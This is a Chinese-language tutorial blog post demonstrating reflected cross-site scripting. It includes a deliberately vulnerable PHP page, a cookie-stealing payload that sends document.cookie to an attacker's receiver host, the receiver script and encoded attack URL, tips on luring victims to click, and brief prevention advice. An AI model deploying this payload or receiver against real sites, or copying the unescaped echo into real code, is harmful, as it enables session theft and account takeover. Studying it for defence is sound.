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大多数人对于XSS的原理有一个基本认识，这里不再重复，只给出一个能够演示其原理的完整样例。
存在漏洞的URL为:http://172.16.35.135/xss_demo.php
<?php
session_start();
?>
<!doctype html>
<html>
<head>
<title>XSS demo</title>
</head>
<body>
<form>
<input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
该网页把用户通过GET发送过来的表单数据，未经处理直接写入返回的html流，这就是XSS漏洞所在。
接收网站的URL为http://172.16.2.192/xss_hacker.php
<?php $victim = ‘XXS得到的 cookie:‘. $_SERVER[‘REMOTE_ADDR‘]. ‘:‘ .$_GET[‘cookie‘]; file_put_contents(‘xss_victim.txt‘, $victim);
把受害用户的IP地址和访问漏洞网站时使用的cookie，一起写入xss_victim.txt文件保存备用。
用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息，网站通过验证cookie来确实是否是合法已登录用户，所以cookie是用户的敏感数据.
黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL，然后精心构造攻击字符串。对于本例来说构造出来的字符串为：
"/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交，就会造成攻击。手工输入这个字符串，并提交，浏览器地址栏自动生成攻击URL。如下图：
此时，用户访问漏洞网站的html代码，被修改成了：
<!doctype html>
<html>
<head>
<title>XSS demo</title>
</head>
<body>
<form>
<input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
明显看出，这个html回去执行一个脚本，这个脚本功能是把用户的cookie发送到黑客的接收网站。
最终生成的攻击URL为:
http://172.16.35.135/xss_demo.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2F172.16.2.192%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21--
接下来要做的就是，寻找受害人，诱惑其点击上述URL。
黑客可以采取各种手段，包括发Email，在各种论坛网站发布此攻击URL，如做成如下诱人连接。
屌丝们最喜欢美女了，在好奇心的驱动下，点击了这个美女图片。而点击的后果正是访问前面的攻击URL。
受害用户访问攻击URL后，其敏感数据自动发送到黑客的接收网站。接收网站把这些敏感信息保存到文件中，当然现实的情况一定是存入数据库中了。
xss_victim.txt中现在保存了受害者的敏感数据。
XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30
注意，默认IE11开启了XSS筛选器，此时IE会阻止上述简单攻击脚本。为模拟攻击，我们临时把XSS筛选器禁用。
有了受害用户的敏感数据，就可以利用这些数据做各种坏事了，比如以受害用户身份登录漏洞网站，等等。
XSS的预防可以从多方面着手：
（1）如前面所述，浏览器自身可以识别简单的XSS攻击字符串，从而阻止简单的XSS攻击；
（2）从根本上说，解决办法是消除网站的XSS漏洞，这就需要网站开发者运用转义安全字符等手段，始终把安全放在心上；
（3）对于普通网民，需要注意尽量抵挡诱惑，别去点击非知名网站的链接。
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原文地址：http://blog.csdn.net/smstong/article/details/43561607
